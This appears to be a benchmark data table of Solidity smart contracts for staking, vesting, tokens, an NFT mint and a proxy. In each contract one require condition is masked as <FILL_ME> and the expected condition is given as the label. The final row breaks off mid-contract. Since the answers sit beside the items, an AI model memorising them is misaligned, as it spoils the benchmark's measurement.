comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract JeetKeeper is Ownable{
IERC20 TOKEN;
uint256 duration;
uint256 public startTime;
uint256 public endTime;
uint256 public totalAmountReceived;
uint256 public totalAmountClaimed;
uint256 public lastClaimTime;
event ReceiveTokens(uint256 tokens);
modifier onlyToken() {
}
constructor(){
}
function setToken(address _token) public onlyOwner{
}
function getClaimableAmountPerDay() public view returns(uint256){
}
function getBalanceOfRewards() public view returns(uint256){
}
function receiveTokens(uint256 _amount) external onlyToken{
}
function getClaimableAmount() public view returns(uint256, uint256){
}
function resuceAssets(address _token) external onlyOwner {
}
function claimJeetTokens() external onlyOwner {
require(block.timestamp >= startTime, "Not started yet");
require(<FILL_ME>)
if (block.timestamp >= endTime) {
uint256 balance = TOKEN.balanceOf(address(this));
TOKEN.transfer(msg.sender, balance);
return;
}
uint256 claimableAmount;
uint256 daysPassed;
(daysPassed,claimableAmount) = getClaimableAmount();
require(claimableAmount > 0, "No tokens to claim");
TOKEN.transfer(msg.sender, claimableAmount);
totalAmountClaimed += claimableAmount;
lastClaimTime += daysPassed * 1 days;
}
}
| lastClaimTime+1days<=block.timestamp,"Already claimed" | 120,760 | lastClaimTime+1days<=block.timestamp |
"Do not have enough LP tokens to stake" | pragma solidity ^0.6.10;
contract YFMBVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct User {
uint256 _LPDeposited;
uint256 _rewardDebt;
}
// events
event StakeCompleted(address _staker, uint256 _amount, uint256 _totalStaked, uint256 _time);
event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _time);
event EmergencyWithdrawOn(address _caller, bool _emergencyWithdraw, uint256 _time);
event WithdrawCompleted(address _staker, uint256 _amount, uint256 _time);
// constants
IERC20 public LPToken;
IERC20 public YFMBToken;
address public rewardPool;
uint256 public dailyReward;
uint256 public accYFMBPerShare;
uint256 public lastRewardBlock;
uint256 public totalStaked;
bool public emergencyWithdraw = false;
mapping(address => User) public userDetails;
// Constructor will set the address of LUCO/ETH LP token
constructor(address _LPToken, address _YFMBToken, address _rewardPool, uint256 _dailyReward) Ownable() public {
}
// 6500 blocks in average day --- decimals * YFMB balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
function getRewardPerBlock() public view returns(uint256) {
}
// % of reward pool to be distributed each day --- in hundredths of % 150 == 1.50%
function setDailyReward(uint256 _dailyReward) public onlyOwner {
}
// Function that will get balance of a certain stake
function getUserBalance(address _staker) public view returns(uint256 _amountStaked) {
}
// Function that returns User's pending rewards
function pendingRewards(address _staker) public view returns(uint256) {
}
// Function that updates LUCO/ETH LP pool
function updatePool() public {
}
// Function that lets user stake LUCO/ETH LP
function stakeLP(uint256 _amount) public {
require(emergencyWithdraw == false, "emergency withdraw is on, cannot stake");
require(_amount > 0, "Can not stake 0 LP tokens");
require(<FILL_ME>)
updatePool();
User storage user = userDetails[_msgSender()];
if(user._LPDeposited > 0) {
uint256 _pendingRewards = user._LPDeposited.mul(accYFMBPerShare).div(1e18).sub(user._rewardDebt);
if(_pendingRewards > 0) {
YFMBToken.transfer(_msgSender(), _pendingRewards);
emit RewardsClaimed(_msgSender(), _pendingRewards, now);
}
}
LPToken.transferFrom(_msgSender(), address(this), _amount);
user._LPDeposited = user._LPDeposited.add(_amount);
totalStaked = totalStaked.add(_amount);
user._rewardDebt = user._LPDeposited.mul(accYFMBPerShare).div(1e18);
emit StakeCompleted(_msgSender(), _amount, user._LPDeposited, now);
}
// Function that will allow user to claim rewards
function claimRewards() public {
}
// Function that lets user unstake YFMB/ETH LP in system
function unstakeLP() public {
}
// Function that will turn on emergency withdraws
function turnEmergencyWithdrawOn() public onlyOwner() {
}
}
| LPToken.balanceOf(_msgSender())>=_amount,"Do not have enough LP tokens to stake" | 120,857 | LPToken.balanceOf(_msgSender())>=_amount |
"tax too high" | pragma solidity ^0.8.7;
contract Bedrock is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
struct BuyFee {
uint16 marketingFee;
uint16 liquidityFee;
}
struct SellFee {
uint16 marketingFee;
uint16 liquidityFee;
}
bool private swapping;
BuyFee public buyFee;
SellFee public sellFee;
uint256 public swapTokensAtAmount = 10**5 * (10**18); //0.01% of the supply
uint256 public maxBuyAmount = 10**6 * (10**18); // 0.1% of the supply
uint256 public maxWalletAmount = 10**7 * (10**18); // 1% of the supply (antiwhale)
uint16 public totalBuyFee;
uint16 public totalSellFee;
bool public swapEnabled;
bool public isTradingEnabled;
uint256 public tradingStartBlock = 0;
uint8 public constant BLOCKCOUNT = 0;
address payable _marketingWallet =
payable(address(0x01DA3574ab03De410B0E9EA0349E660ae91E4802)); // marketingWallet
address payable _devWallet =
payable(address(0x01DA3574ab03De410B0E9EA0349E660ae91E4802)); // devWallet
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromLimit;
mapping(address => bool) public _isBlackListed;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
}
constructor() ERC20("Bedrock Protocol", "BEDROCK") {
}
receive() external payable {}
function updateUniswapV2Router(address newAddress) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function claimStuckTokens(address _token) external onlyOwner {
}
function excludeFromLimit(
address account,
bool excluded
) external onlyOwner {
}
function setBlackList(address addr, bool value) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function setBuyFee(uint16 marketing, uint16 liquidity) external onlyOwner {
require(<FILL_ME>)
buyFee.marketingFee = marketing;
buyFee.liquidityFee = liquidity;
totalBuyFee = marketing+liquidity;
}
function setSellFee(uint16 marketing, uint16 liquidity) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function isExcludedFromLimit(address account) public view returns (bool) {
}
function setMarketingWallet(address newWallet) external onlyOwner {
}
function setSwapEnabled(bool value) external onlyOwner {
}
function setMaxWallet(uint256 amount) external onlyOwner {
}
function setMaxBuyAmount(uint256 amount) external onlyOwner {
}
function setSwapTokensAtAmount(uint256 amount) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendToMarketing(uint256 tokens) private lockTheSwap {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
}
| marketing+liquidity<=25,"tax too high" | 120,863 | marketing+liquidity<=25 |
"max NFT limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RyuWorld is ERC721A("RyuWorld", "RyuW"), Ownable, ERC721ABurnable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.1 * 1e18;
uint256 public maxSupply = 5000;
uint256 public reservedSupply = 150;
uint256 public maxMintAmount = 10;
uint256 public publicmintActiveTime = 1652191200;
bool public revealed = false;
function _startTokenId() internal pure override returns (uint256) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
require(block.timestamp > publicmintActiveTime, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(<FILL_ME>)
require(msg.value >= cost * _mintAmount, "insufficient funds");
_safeMint(msg.sender, _mintAmount);
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function revealFlip() public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setPublicMintActiveTime(uint256 _publicmintActiveTime) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
///////////////////////////////////
// AIRDROP CODE STARTS //
///////////////////////////////////
function giftNft(address[] calldata _sendNftsTo, uint256 _howMany) external onlyOwner {
}
///////////////////////////////
// PRESALE CODE STARTS //
///////////////////////////////
uint256 public presaleActiveTime = 1652104800;
uint256 public presaleMaxMint = 5;
bytes32 public whitelistMerkleRoot;
uint256 public itemPricePresale = 0.07 * 1e18;
mapping(address => uint256) public presaleClaimedBy;
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
function inWhitelist(bytes32[] memory _proof, address _owner) public view returns (bool) {
}
function purchasePresaleTokens(uint256 _howMany, bytes32[] calldata _proof) external payable {
}
// set limit of presale
function setPresaleMaxMint(uint256 _presaleMaxMint) external onlyOwner {
}
// Change presale price in case of ETH price changes too much
function setPricePresale(uint256 _itemPricePresale) external onlyOwner {
}
function setPresaleActiveTime(uint256 _presaleActiveTime) external onlyOwner {
}
///////////////////////////
// AUTO APPROVE OPENSEA //
///////////////////////////
mapping(address => bool) public projectProxy; // check public vs private vs internal gas
function flipProxyState(address proxyAddress) public onlyOwner {
}
// set auto approve for trusted marketplaces here
function isApprovedForAll(address _owner, address _operator) public view override returns (bool) {
}
}
| supply+_mintAmount+reservedSupply<=maxSupply,"max NFT limit exceeded" | 120,927 | supply+_mintAmount+reservedSupply<=maxSupply |
"max NFT limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RyuWorld is ERC721A("RyuWorld", "RyuW"), Ownable, ERC721ABurnable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.1 * 1e18;
uint256 public maxSupply = 5000;
uint256 public reservedSupply = 150;
uint256 public maxMintAmount = 10;
uint256 public publicmintActiveTime = 1652191200;
bool public revealed = false;
function _startTokenId() internal pure override returns (uint256) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function revealFlip() public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setPublicMintActiveTime(uint256 _publicmintActiveTime) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
///////////////////////////////////
// AIRDROP CODE STARTS //
///////////////////////////////////
function giftNft(address[] calldata _sendNftsTo, uint256 _howMany) external onlyOwner {
}
///////////////////////////////
// PRESALE CODE STARTS //
///////////////////////////////
uint256 public presaleActiveTime = 1652104800;
uint256 public presaleMaxMint = 5;
bytes32 public whitelistMerkleRoot;
uint256 public itemPricePresale = 0.07 * 1e18;
mapping(address => uint256) public presaleClaimedBy;
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
function inWhitelist(bytes32[] memory _proof, address _owner) public view returns (bool) {
}
function purchasePresaleTokens(uint256 _howMany, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
require(<FILL_ME>)
require(inWhitelist(_proof, msg.sender), "You are not in presale");
require(block.timestamp > presaleActiveTime, "Presale is not active");
require(msg.value >= _howMany * itemPricePresale, "Try to send more ETH");
presaleClaimedBy[msg.sender] += _howMany;
require(presaleClaimedBy[msg.sender] <= presaleMaxMint, "Purchase exceeds max allowed");
_safeMint(msg.sender, _howMany);
}
// set limit of presale
function setPresaleMaxMint(uint256 _presaleMaxMint) external onlyOwner {
}
// Change presale price in case of ETH price changes too much
function setPricePresale(uint256 _itemPricePresale) external onlyOwner {
}
function setPresaleActiveTime(uint256 _presaleActiveTime) external onlyOwner {
}
///////////////////////////
// AUTO APPROVE OPENSEA //
///////////////////////////
mapping(address => bool) public projectProxy; // check public vs private vs internal gas
function flipProxyState(address proxyAddress) public onlyOwner {
}
// set auto approve for trusted marketplaces here
function isApprovedForAll(address _owner, address _operator) public view override returns (bool) {
}
}
| supply+_howMany+reservedSupply<=maxSupply,"max NFT limit exceeded" | 120,927 | supply+_howMany+reservedSupply<=maxSupply |
"You are not in presale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RyuWorld is ERC721A("RyuWorld", "RyuW"), Ownable, ERC721ABurnable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.1 * 1e18;
uint256 public maxSupply = 5000;
uint256 public reservedSupply = 150;
uint256 public maxMintAmount = 10;
uint256 public publicmintActiveTime = 1652191200;
bool public revealed = false;
function _startTokenId() internal pure override returns (uint256) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function revealFlip() public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setPublicMintActiveTime(uint256 _publicmintActiveTime) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
///////////////////////////////////
// AIRDROP CODE STARTS //
///////////////////////////////////
function giftNft(address[] calldata _sendNftsTo, uint256 _howMany) external onlyOwner {
}
///////////////////////////////
// PRESALE CODE STARTS //
///////////////////////////////
uint256 public presaleActiveTime = 1652104800;
uint256 public presaleMaxMint = 5;
bytes32 public whitelistMerkleRoot;
uint256 public itemPricePresale = 0.07 * 1e18;
mapping(address => uint256) public presaleClaimedBy;
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
function inWhitelist(bytes32[] memory _proof, address _owner) public view returns (bool) {
}
function purchasePresaleTokens(uint256 _howMany, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
require(supply + _howMany + reservedSupply <= maxSupply, "max NFT limit exceeded");
require(<FILL_ME>)
require(block.timestamp > presaleActiveTime, "Presale is not active");
require(msg.value >= _howMany * itemPricePresale, "Try to send more ETH");
presaleClaimedBy[msg.sender] += _howMany;
require(presaleClaimedBy[msg.sender] <= presaleMaxMint, "Purchase exceeds max allowed");
_safeMint(msg.sender, _howMany);
}
// set limit of presale
function setPresaleMaxMint(uint256 _presaleMaxMint) external onlyOwner {
}
// Change presale price in case of ETH price changes too much
function setPricePresale(uint256 _itemPricePresale) external onlyOwner {
}
function setPresaleActiveTime(uint256 _presaleActiveTime) external onlyOwner {
}
///////////////////////////
// AUTO APPROVE OPENSEA //
///////////////////////////
mapping(address => bool) public projectProxy; // check public vs private vs internal gas
function flipProxyState(address proxyAddress) public onlyOwner {
}
// set auto approve for trusted marketplaces here
function isApprovedForAll(address _owner, address _operator) public view override returns (bool) {
}
}
| inWhitelist(_proof,msg.sender),"You are not in presale" | 120,927 | inWhitelist(_proof,msg.sender) |
"Purchase exceeds max allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "erc721a/contracts/extensions/ERC721ABurnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RyuWorld is ERC721A("RyuWorld", "RyuW"), Ownable, ERC721ABurnable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.1 * 1e18;
uint256 public maxSupply = 5000;
uint256 public reservedSupply = 150;
uint256 public maxMintAmount = 10;
uint256 public publicmintActiveTime = 1652191200;
bool public revealed = false;
function _startTokenId() internal pure override returns (uint256) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function revealFlip() public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setPublicMintActiveTime(uint256 _publicmintActiveTime) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
///////////////////////////////////
// AIRDROP CODE STARTS //
///////////////////////////////////
function giftNft(address[] calldata _sendNftsTo, uint256 _howMany) external onlyOwner {
}
///////////////////////////////
// PRESALE CODE STARTS //
///////////////////////////////
uint256 public presaleActiveTime = 1652104800;
uint256 public presaleMaxMint = 5;
bytes32 public whitelistMerkleRoot;
uint256 public itemPricePresale = 0.07 * 1e18;
mapping(address => uint256) public presaleClaimedBy;
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot) external onlyOwner {
}
function inWhitelist(bytes32[] memory _proof, address _owner) public view returns (bool) {
}
function purchasePresaleTokens(uint256 _howMany, bytes32[] calldata _proof) external payable {
uint256 supply = totalSupply();
require(supply + _howMany + reservedSupply <= maxSupply, "max NFT limit exceeded");
require(inWhitelist(_proof, msg.sender), "You are not in presale");
require(block.timestamp > presaleActiveTime, "Presale is not active");
require(msg.value >= _howMany * itemPricePresale, "Try to send more ETH");
presaleClaimedBy[msg.sender] += _howMany;
require(<FILL_ME>)
_safeMint(msg.sender, _howMany);
}
// set limit of presale
function setPresaleMaxMint(uint256 _presaleMaxMint) external onlyOwner {
}
// Change presale price in case of ETH price changes too much
function setPricePresale(uint256 _itemPricePresale) external onlyOwner {
}
function setPresaleActiveTime(uint256 _presaleActiveTime) external onlyOwner {
}
///////////////////////////
// AUTO APPROVE OPENSEA //
///////////////////////////
mapping(address => bool) public projectProxy; // check public vs private vs internal gas
function flipProxyState(address proxyAddress) public onlyOwner {
}
// set auto approve for trusted marketplaces here
function isApprovedForAll(address _owner, address _operator) public view override returns (bool) {
}
}
| presaleClaimedBy[msg.sender]<=presaleMaxMint,"Purchase exceeds max allowed" | 120,927 | presaleClaimedBy[msg.sender]<=presaleMaxMint |
"ERC1967: new beacon is not a contract" | /**
*Submitted for verification at Etherscan.io on 2022-09-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
}
fallback() external payable virtual {
}
receive() external payable virtual {
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
}
}
abstract contract ERC1967Upgrade {
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
}
function _setImplementation(address newImplementation) private {
}
function _upgradeTo(address newImplementation) internal {
}
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
}
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
}
function _setAdmin(address newAdmin) private {
}
function _changeAdmin(address newAdmin) internal {
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
}
function _setBeacon(address newBeacon) private {
require(<FILL_ME>)
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
}
function _implementation() internal view virtual override returns (address impl) {
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
}
modifier ifAdmin() {
}
function admin() external ifAdmin returns (address admin_) {
}
function implementation() external ifAdmin returns (address implementation_) {
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
}
function upgradeTo(address newImplementation) external ifAdmin {
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
}
function _admin() internal view virtual returns (address) {
}
function _beforeFallback() internal virtual override {
}
}
| Address.isContract(newBeacon),"ERC1967: new beacon is not a contract" | 121,077 | Address.isContract(newBeacon) |
"ERC1967: beacon implementation is not a contract" | /**
*Submitted for verification at Etherscan.io on 2022-09-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
}
fallback() external payable virtual {
}
receive() external payable virtual {
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
}
}
abstract contract ERC1967Upgrade {
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
}
function _setImplementation(address newImplementation) private {
}
function _upgradeTo(address newImplementation) internal {
}
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
}
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
